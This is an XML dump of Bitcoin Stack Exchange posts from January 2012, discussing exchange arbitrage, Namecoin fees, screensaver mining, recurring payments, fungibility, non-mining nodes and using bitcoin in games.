  <row Id="2479" PostTypeId="2" ParentId="2471" CreationDate="2012-01-09T04:15:04.367" Score="4" Body="&lt;p&gt;Transferring bitcoins is usually free. You just need to wait around 1 hour for confirmations from the network.&lt;br&gt;&#xA;Transferring USD  is fairly easy if the exchanges support &lt;a href=&quot;http://bitinstant.com/&quot; rel=&quot;nofollow&quot;&gt;Bitinstant&lt;/a&gt; (currently it is only available at &lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;MtGox&lt;/a&gt;, &lt;a href=&quot;https://tradehill.com/&quot; rel=&quot;nofollow&quot;&gt;TradeHill&lt;/a&gt; and &lt;a href=&quot;https://cryptoxchange.com/&quot; rel=&quot;nofollow&quot;&gt;CryptoXchange&lt;/a&gt;). Bitinstant transfers usually takes less than a minute and cost around 1%. If the exchange doesn't support Bitinstant, you will probably have to wait at least a few hours. It all depends on the available deposit/withdrawal methods. If everything else fails, you can always buy bitcoins at one exchange, send them to the other and sell them there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of automated trading for arbitrage, speed and fees are really important. I suggest that you analyse the arbitrage opportunities at the exchanges of your preference to see how big they are and how long they stay open.&lt;br&gt;&#xA;For example, currently at TradeHill/MtGox most arbitrage opportunities are below 1% and are only available for a few minutes. This makes it almost impossible to move money around in order to profit from these opportunities.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2012-01-09T04:41:20.663" LastActivityDate="2012-01-09T04:41:20.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2480" PostTypeId="2" ParentId="2411" CreationDate="2012-01-09T11:35:31.780" Score="9" Body="&lt;p&gt;The Namecoin block reward &lt;a href=&quot;http://dot-bit.org/FAQ#What_are_the_similarities_with_Bitcoin.3F&quot;&gt;is to be halved every 4 years&lt;/a&gt;, similar to Bitcoins. The fee to register a domain in Namecoin &lt;a href=&quot;http://dot-bit.org/FAQ#How_much_does_it_cost_to_register_a_domain_.28a.k.a._a_name.29.3F&quot;&gt;is set to decrease&lt;/a&gt; by the factor of 2 every two months, and later by a factor of 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the price of registering a domain go down way faster than the block reward, there won't be a shortage of opportunities for registering domains. On the contrary, soon the price of a domain might be so cheap as to make them almost free. As Namecoins are destroyed though, eventually in the far future one might expect to run out of Namecoins, but with the price/reward ratio decreasing so fast, the project can become obsolete by then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to create a lack of balance of the Namecoin protocol that can be addressed in the future.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-09T11:35:31.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2481" PostTypeId="1" AcceptedAnswerId="2492" CreationDate="2012-01-09T12:42:15.847" Score="2" ViewCount="1700" Body="&lt;p&gt;Are there any chart tools similar to the ones used in &lt;a href=&quot;http://www.dailyfx.com/charts/&quot; rel=&quot;nofollow&quot;&gt;Forex trading&lt;/a&gt; available for Bitcoin users? The MtGox Live feed is nice and all, but it doesn't offer the functionality one would expect from a respectable exchange (like a candlestick chart for example).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-05-28T12:56:42.073" Title="Are there any chart tools out there?" Tags="|trading|mtgox|live-data|tools|charts|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2482" PostTypeId="1" CreationDate="2012-01-09T12:46:02.527" Score="1" ViewCount="73" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/659/when-and-how-did-bitcoin-start&quot;&gt;When and how did Bitcoin start?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I understand Satoshi release the original whitepaper to some cryptography mailing list, in 2009 I believe. Can anyone point me to that thread?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be interesting to see the first responses the whitepaper received.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2012-01-09T12:46:02.527" Title="Where is the post where the original Bitcoin Whitepaper was first released?" Tags="|satoshi-nakamoto|" AnswerCount="0" CommentCount="3" ClosedDate="2012-01-09T17:05:01.877" ContentLicense="CC BY-SA 3.0" />
  <row Id="2483" PostTypeId="1" AcceptedAnswerId="5988" CreationDate="2012-01-09T13:01:00.453" Score="6" ViewCount="4201" Body="&lt;p&gt;Strongly inspired by the SETI program, I was considering putting together a mining client that mines when a computer switches to screensaver. I know this would cost some PGU when the computer takes a nap, and would kind of defeat the purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But would such a product be of interest to the bitcoin crowd ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would people be interested in a piece of software like this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that serious miners would not be interested in this, but maybe, just maybe, the whole BitCoin thing would be easier to explain to some, if there was a piece of software that resembled the SETI program (which many people know or remember.)&lt;/p&gt;&#xA;" OwnerUserId="770" LastEditorUserId="5406" LastEditDate="2016-02-01T09:28:02.743" LastActivityDate="2016-02-01T09:28:02.743" Title="Mining as a screensaver" Tags="|cpu-mining|mining-software|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2484" PostTypeId="1" AcceptedAnswerId="2485" CreationDate="2012-01-09T13:06:45.550" Score="6" ViewCount="334" Body="&lt;p&gt;I am contemplating designing some minor sites that uses bitcoins, but as far as I can see, a manual action is needed for every payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to set up a &quot;subscription&quot; system or repeating transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, I am planning to design a system where you can replenish your subscription, by simply &quot;filling up&quot; your account and then over time the allocated coins will be depleted.&lt;/p&gt;&#xA;" OwnerUserId="770" LastEditorUserId="5406" LastEditDate="2016-01-20T21:17:50.953" LastActivityDate="2021-05-30T00:45:53.370" Title="Bitcoin as subscription method" Tags="|payment|commerce|recurring-payments|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2485" PostTypeId="2" ParentId="2484" CreationDate="2012-01-09T14:18:24.030" Score="5" Body="&lt;p&gt;Repeated transactions using Bitcoins is impossible, unless you have access to the private key. This requires a specific client. Such functionality is not yet available, as most people encrypt their wallets (the client can't decode it without the user. The second approach would be preferable.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-09T14:18:24.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2486" PostTypeId="2" ParentId="2483" CreationDate="2012-01-09T14:23:31.073" Score="2" Body="&lt;p&gt;Casual mining is not too popular or profitable. If you are not mining casually, you mine all the time and don't want to slow your computer down with anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, one can set the priority of mining program to be quite low, thus not impeding the functionality of the computer (when computer is idle, computer mines at full speed, otherwise it slows down to let normal use have as much processing power as it needs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite that. Some casual people might be interested in playing around with a screensaver miner if it was available.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-09T14:23:31.073" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2487" PostTypeId="1" AcceptedAnswerId="2501" CreationDate="2012-01-09T15:26:48.643" Score="6" ViewCount="1192" Body="&lt;p&gt;I wonder what is the benefit of having Bitcoin reduce the coins mined per block over time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose a slightly less deflationary growth scheme was possible (and keep other properties that make Bitcoin desirable), that might encourage more people to use it as an actual currency and less as a hoarding item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, can another blockchain-network be created that increases 0.5% the coins mined per X number of mined blocks?. &lt;/p&gt;&#xA;" OwnerUserId="863" LastEditorUserId="5406" LastEditDate="2016-02-01T09:27:04.500" LastActivityDate="2016-02-01T09:27:04.500" Title="Cryptocurrency with less deflationary properties" Tags="|currencies|mining-reward|reward-schedule|inflation|deflation|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2488" PostTypeId="2" ParentId="2289" CreationDate="2012-01-09T15:34:04.880" Score="1" Body="&lt;p&gt;I enjoy using this package :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.uniformserver.com/index.php/SSL_PHP_Server_Key_and_Certificate_generation&quot; rel=&quot;nofollow&quot;&gt;Uniform Server Key Generator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And with it running, you can just execute : &lt;code&gt;openssl_pkey_new();&lt;/code&gt; to generate a private/public key set.&lt;/p&gt;&#xA;" OwnerUserId="770" LastActivityDate="2012-01-09T15:34:04.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2489" PostTypeId="2" ParentId="806" CreationDate="2012-01-09T17:52:37.970" Score="1" Body="&lt;p&gt;Depending on what your web application does you might want to consider keeping the private keys off the server entirely. For &lt;a href=&quot;https://github.com/gary-rowe/MultiBitMerchant&quot; rel=&quot;nofollow&quot;&gt;MultiBitMerchant&lt;/a&gt; we have gone with an architecture that keeps the private keys on an unrelated machine and only uploads the Bitcoin addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can verify BTC received and generate payment requests with just the Bitcoin addresses - it all depends on if you want to do bitcoin spends on the server. If you have a deterministic private key structure you can sign your transactions in the browser and use the server to broadcast the transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This appears to be a popular approach eg BCCAPI, blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the server never knows the private keys it makes it much less attractive as a target. &lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="117" LastEditDate="2012-01-11T09:01:04.733" LastActivityDate="2012-01-11T09:01:04.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2490" PostTypeId="2" ParentId="2487" CreationDate="2012-01-09T18:37:26.960" Score="5" Body="&lt;p&gt;It's technically possible to have a blockchain with any generation schedule, such as X% inflation per year or constant reward per block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main reasons for a schedule with an upper bound is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The Austrian economics school, to which apparently Satoshi and a large part of Bitcoin's early adopters subscribe, says that the optimal situation is that the monetary supply is bounded.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to have some long-term inflation you will need to choose what it is, and any choice will be arbitrary. &quot;0% inflation&quot; is a bit less arbitrary option to anchor on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;One of Bitcoin's key properties is that the monetary is supply is not manipulable, and it's perceptually easier to sell it on this point by saying &quot;The protocol guarantees there will never be more than 21M bitcoins&quot; than &quot;The protocol guarantees that in the long term, there will not be more than 3% monetary inflation per year&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-01-09T18:37:26.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2491" PostTypeId="2" ParentId="2178" CreationDate="2012-01-09T18:51:14.323" Score="1" Body="&lt;p&gt;My experience with a 6990 rig is that m0mchil’s Python OpenCL GPU miner is the most efficient one for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I would try them out on a 12 hour basis, and do a comparison. Maximum output might be very different between software/hardware combos. Would love to see the results.&lt;/p&gt;&#xA;" OwnerUserId="770" LastActivityDate="2012-01-09T18:51:14.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2492" PostTypeId="2" ParentId="2481" CreationDate="2012-01-09T18:59:35.223" Score="4" Body="&lt;p&gt;Slush has made &lt;a href=&quot;https://bitcointalk.org/index.php?topic=6019.0&quot; rel=&quot;nofollow&quot;&gt;A bridge&lt;/a&gt; to feed Bitcoin exchange data to &lt;a href=&quot;http://www.sierrachart.com/&quot; rel=&quot;nofollow&quot;&gt;Sierra Chart&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if all you want is to look at a candlestick chart (and even if you want a bit more than that), there's always &lt;a href=&quot;http://bitcoincharts.com/charts/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-01-09T18:59:35.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2493" PostTypeId="2" ParentId="2487" CreationDate="2012-01-09T20:32:10.437" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.geistgeld.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;GeistGeld&lt;/a&gt; and &lt;a href=&quot;http://solidcoin.info&quot; rel=&quot;nofollow noreferrer&quot;&gt;SolidCoin&lt;/a&gt; offer block rewards that don't decrease over time, I believe. Bear in mind they also have other major differences to the design of Bitcoin though, especially SolidCoin (because it's not a community driven open source project).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of having a limited number of units is that it is a better store of value. On average, a unit of currency should only increase in value over time. Because we can break one bitcoin down to 8 decimal places (and further if necessary), there's no need to have it any other way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to hoarding, the current exchange rate takes into account likely future increases in value (as well as potential risk of things like a collapse in value). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These questions examine the impact of hoarding/speculation on Bitcoin:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/408/does-hoarding-really-hurt-bitcoin&quot;&gt;Does hoarding really hurt Bitcoin?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1265/does-speculation-hurt-bitcoin&quot;&gt;Does speculation hurt bitcoin?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2012-01-09T20:32:10.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2494" PostTypeId="2" ParentId="2483" CreationDate="2012-01-09T22:50:00.777" Score="4" Body="&lt;p&gt;In the interests of keeping people's power bills low, I'd recommend not bothering to write anything that uses CPU mining as the bitcoins earned will not even come close to recovering the cost of the electricity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can get it working with ATI graphics cards though, it would be quite a neat idea. It would also be a good way for charitable organisations to earn donations without people needing to put in their credit card details. Eg a donate-to-wikileaks screensaver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are also ethical issues to consider - not only does mining have a substantial electricity cost (where I live, it can be as high as $45 a month with my 5850 card), it also has a substantial effect of shortening the life of the hardware doing the processing. The average Joe Bloggs should really be made aware of those issues before they install &amp;amp; run mining software.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-01-09T22:50:00.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2495" PostTypeId="1" CreationDate="2012-01-09T23:42:20.323" Score="3" ViewCount="372" Body="&lt;p&gt;Sometimes people don't want to mine at a full load due to various reasons (computer noise, hardware concerns, etc). Are there any miners out there in which one can set a hashrate limit? I know one can use -f and -s flags, but the amount of control they give is quite limited.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-31T10:33:54.040" LastActivityDate="2016-03-31T10:33:54.040" Title="Is there a miner with a controllable hashrate?" Tags="|mining-hardware|gpu|miner-configuration|mining-software|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2496" PostTypeId="1" CreationDate="2012-01-10T07:08:10.803" Score="15" ViewCount="4529" Body="&lt;p&gt;Does each bitcoin has a unique identifier, like currency notes have serial numbers? If so, could you trace a particular bitcoin's ownership chain (ie find the current owner of a particular bitcoin by its identifier)? The answer I'm finding is no:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are also specific features of Bitcoin that make this difficult. Transactions put all the input Bitcoins into a big pile which they dole out as outputs. There's no concept of particular output Bitcoins corresponding to particular inputs. Bitcoins don't have a serial number that can be traced through the block chain. So any such tracking rules would be basically arbitrary.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/2139/894&quot;&gt;https://bitcoin.stackexchange.com/a/2139/894&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this accurate?&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-08-09T08:13:36.577" Title="Are bitcoins INHERENTLY fungible?" Tags="|transactions|privacy|fungibility|" AnswerCount="7" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2497" PostTypeId="2" ParentId="2496" CreationDate="2012-01-10T07:59:30.743" Score="5" Body="&lt;p&gt;There is actually no such thing as a bitcoin - there are only transactions, which are denominated in bitcoins. Those transactions do have a history, though as the linked answer states, that history can be complex.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-01-10T07:59:30.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2498" PostTypeId="2" ParentId="2496" CreationDate="2012-01-10T08:01:28.930" Score="2" Body="&lt;p&gt;Think of how bitcoins are created - in lumps of 50 in a block. You cannot tell the difference between the 'first' bitcoin of this lump of 50 or the 'second' or the 'twenty second'.  It is just a number in a public ledger called the blockchain. There are no serial numbers like on a dollar note. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2012-01-10T08:01:28.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2499" PostTypeId="2" ParentId="2496" CreationDate="2012-01-10T08:02:03.493" Score="12" Body="&lt;p&gt;That is accurate. Let me start explaining how Bitcoins work from the beginning:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Bitcoins are first created when they are mined by solving a block. The first transaction in the block is basically you saying &quot;I'm giving myself 50 Bitcoins to my address A&quot; (plus transaction fees from the block).&lt;/li&gt;&#xA;&lt;li&gt;When you want to spend Bitcoins, you have to point to one or more transactions that show where you got them from, and say how many Bitcoins you are transferring where. It's like saying &quot;I got Bitcoins at transaction X. I'm sending 20 coins to address B.&quot;&lt;/li&gt;&#xA;&lt;li&gt;The point is that more often than not you don't want to send all the coins you got from the transaction, so you also specify how much change you are sending to another address, usually controlled by yourself: &quot;I got Bitcoins at transaction X. I'm sending 20 coins to address B and 30 coins to address A.&quot;&lt;/li&gt;&#xA;&lt;li&gt;Since all of the above is cryptographically signed, one can be sure nobody can spend coins they don't have (spending more than they have, spending someone else's coins, etc).&lt;/li&gt;&#xA;&lt;li&gt;To make sure nobody is cheating, everyone is looking at everyone's hands by checking each transaction that comes their way. If you cheat, your transaction does not get forwarded.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope that explains the concept of how Bitcoin works in regards to your question. Just to be clear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Does each bitcoin has a unique identifier, like currency notes have serial numbers?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not like currency (that each bill has a serial number and you can't break them apart), more like bank statements (the identifier identifies the transaction on a certain amount of Bitcoins), but that's still a simplification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;If so, could you trace a particular bitcoin's ownership chain (ie. find the current owner of a particular bitcoin by its identifier)?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can trace the history of transactions on the set of Bitcoins up to who mined them, but not on a particular 1BTC. It's like saying &quot;Alice paid Jill $10. Jill got $20 from Bob. Bob got $50 from the mint.&quot;&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="659" LastEditDate="2012-02-09T23:49:32.167" LastActivityDate="2012-02-09T23:49:32.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2500" PostTypeId="1" AcceptedAnswerId="2502" CreationDate="2012-01-10T08:25:53.337" Score="10" ViewCount="379" Body="&lt;p&gt;I know running a client will help propagate transactions around the network, but I also know a non-mining client will not contribute to the security of the network. Are there any other benefits of running a non-mining client?&lt;/p&gt;&#xA;" OwnerUserId="409" LastEditorUserId="214" LastEditDate="2013-08-21T18:45:54.113" LastActivityDate="2013-08-21T18:45:54.113" Title="What benefit does a non-mining client provide to the network?" Tags="|network|nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2501" PostTypeId="2" ParentId="2487" CreationDate="2012-01-10T08:28:11.133" Score="1" Body="&lt;p&gt;I believe that it's by design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As others have stated, several other crypto-currencies have different inflation rules. I believe, however, that Bitcoin was designed with a fixed money supply to motivate early adopters to adopt the currency, thus bootstrapping it into existance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One could argue that &quot;it's not fair to late comers&quot;, but if it works (= it eventually gets millions of people to use the currency), then it was a good design choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It makes it relatively easy to reason about potential worth of BTC. The argument goes like this: &quot;If there will only ever be 21,000,000 BTC, &lt;strong&gt;and some day&lt;/strong&gt; 1% of the entire world be using it, then 1 BTC will be worth 1/2,100,000,000 of the world's 'value'. I better get me some of that BTC&quot;. This calculation does not depend on when exactly is &quot;some day&quot; - be it 10 or 100 years in the future.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-01-10T08:28:11.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2502" PostTypeId="2" ParentId="2500" CreationDate="2012-01-10T09:02:07.463" Score="8" Body="&lt;p&gt;A non-mining client will:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Propagate transactions to other peers, including the mining pools.&lt;/li&gt;&#xA;&lt;li&gt;Propagate peer list, so everyone will have a wide list of peers to connect to.&lt;/li&gt;&#xA;&lt;li&gt;Propagate the blockchain.&lt;/li&gt;&#xA;&lt;li&gt;Help decentralise the network by doing all that.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So it essentially takes the burden off the bigger nodes by sharing data. It is especially true for the block information, as it can get quite lengthy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a bit less true for clients working without forwarded ports, as they connect to few nodes, usually some bigger ones that are connected to many peers.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-10T09:02:07.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2503" PostTypeId="2" ParentId="2394" CreationDate="2012-01-10T10:31:08.610" Score="1" Body="&lt;p&gt;Currently, one can merge mine at this pool on the Test Net:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://alpha.masterpool.eu/&quot; rel=&quot;nofollow&quot;&gt;https://alpha.masterpool.eu/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-01-13T20:35:49.437" LastActivityDate="2012-01-13T20:35:49.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2505" PostTypeId="2" ParentId="2476" CreationDate="2012-01-10T13:28:20.723" Score="0" Body="&lt;p&gt;As it was explained &lt;a href=&quot;https://bitcointalk.org/index.php?topic=57396.0&quot; rel=&quot;nofollow&quot;&gt;on the forum&lt;/a&gt;, it is a base58 encoded private key with added 0x80 byte at the front and 4 checksum bytes at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More detailed explanation is not available &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet_import_format&quot; rel=&quot;nofollow&quot;&gt;on the wiki&lt;/a&gt;, as well as in &lt;a href=&quot;http://gobittest.appspot.com/PrivateKey&quot; rel=&quot;nofollow&quot;&gt;a new testing suite&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-10T13:28:20.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2506" PostTypeId="1" AcceptedAnswerId="2965" CreationDate="2012-01-10T14:26:08.110" Score="15" ViewCount="1762" Body="&lt;p&gt;In many games, such as &lt;a href=&quot;http://www.lordofultima.com&quot;&gt;Lord Of Ultima&lt;/a&gt;, players can purchase a special type of currency with real money, as opposed to earning it in a game. This currency is then used to purchase premium items and services, which normally are unavailable to the players otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering whether it is feasible to use Bitcoins as a form of currency in a game? Are there any games out there that have already implemented that?&lt;/p&gt;&#xA;" OwnerDisplayName="user893" LastEditorUserId="196" LastEditDate="2012-02-19T10:07:54.863" LastActivityDate="2023-05-25T07:20:00.403" Title="Can I use Bitcoins in a game?" Tags="|currencies|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2507" PostTypeId="1" CreationDate="2012-01-10T14:31:11.270" Score="4" ViewCount="339" Body="&lt;p&gt;I would like filter spam in a way that people have to pay a very small amount of bitcoins to prioritize very good things or to kill very poor things, to make less casual environment and to encourage good filtering. Later best filterers could be rewarded with bitcoins. Is this possible or does this bloat the chain?&lt;/p&gt;&#xA;" OwnerDisplayName="user893" LastEditorUserId="78" LastEditDate="2012-01-11T00:05:33.010" LastActivityDate="2014-10-16T09:20:49.350" Title="Could bitcoins be used to filter spam?" Tags="|services|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2508" PostTypeId="2" ParentId="2506" CreationDate="2012-01-10T14:35:51.813" Score="9" Body="&lt;p&gt;There is a game that uses Bitcoin as its currency called &lt;a href=&quot;http://www.dragons.tl/&quot;&gt;Dragon's Tale&lt;/a&gt;, not to mention numerous online casinos. In general, using Bitcoins in games is quite feasible, just requires a willing developer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In many cases it can even be preferable, as one could imagine making a simple micropayment in an instant provided they need to purchase something in a game, rather than transfer the money in bulk and later not using all of it without the chance of getting the rest back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, similar to upcoming &lt;a href=&quot;http://www.diablo3fever.com/diablo-3-auction-house-marketplace&quot;&gt;Diablo 3 Auction House Marketplace&lt;/a&gt;, or already existing market in &lt;a href=&quot;http://secondlife.com/&quot;&gt;Second Life&lt;/a&gt;, one can imagine the players earning Bitcoins in such games from other people and later withdrawing their earnings with an ease.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-01-10T16:06:18.470" LastActivityDate="2012-01-10T16:06:18.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2509" PostTypeId="2" ParentId="2507" CreationDate="2012-01-10T14:40:39.293" Score="3" Body="&lt;p&gt;Using Bitcoins as a reward and micropayment system is possible. You wouldn't want to send a separate transaction for each micropayment (fee/transaction ratio would be quite big), but you can pay everyone down to a couple decimal places for each operation they make say, once a day.  Details of implementation would vary, depending on what you want to do exactly.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-10T14:40:39.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2513" PostTypeId="2" ParentId="2477" CreationDate="2012-01-10T16:46:57.253" Score="2" Body="&lt;p&gt;As with any backup solution you must test it yourself through the whole cycle first in a zero risk scenario. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.mycelium.wallet&quot; rel=&quot;nofollow&quot;&gt;Mycelium&lt;/a&gt; has an &lt;a href=&quot;https://www.mycelium.com/wallet/FAQ.html#q011&quot; rel=&quot;nofollow&quot;&gt;excellent backup solution&lt;/a&gt; which outputs a &lt;a href=&quot;https://bitcoin.org/en/glossary/hd-wallet-seed&quot; rel=&quot;nofollow&quot;&gt;seed phrase for a HD wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then store this any way you wish, for example on paper in a physically secure location.&lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="136" LastEditDate="2015-12-08T16:36:59.373" LastActivityDate="2015-12-08T16:36:59.373" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2514" PostTypeId="1" AcceptedAnswerId="2518" CreationDate="2012-01-10T21:13:22.963" Score="6" ViewCount="2652" Body="&lt;p&gt;How much anonymity does an average mining pool provide to the user (securing your email, other personal information)? What is the best pool to use if you want to remain anonymous, and which is the worst?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-31T10:18:54.317" LastActivityDate="2016-03-31T10:18:54.317" Title="How much anonymity do mining pools provide?" Tags="|mining-pools|privacy|data-security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
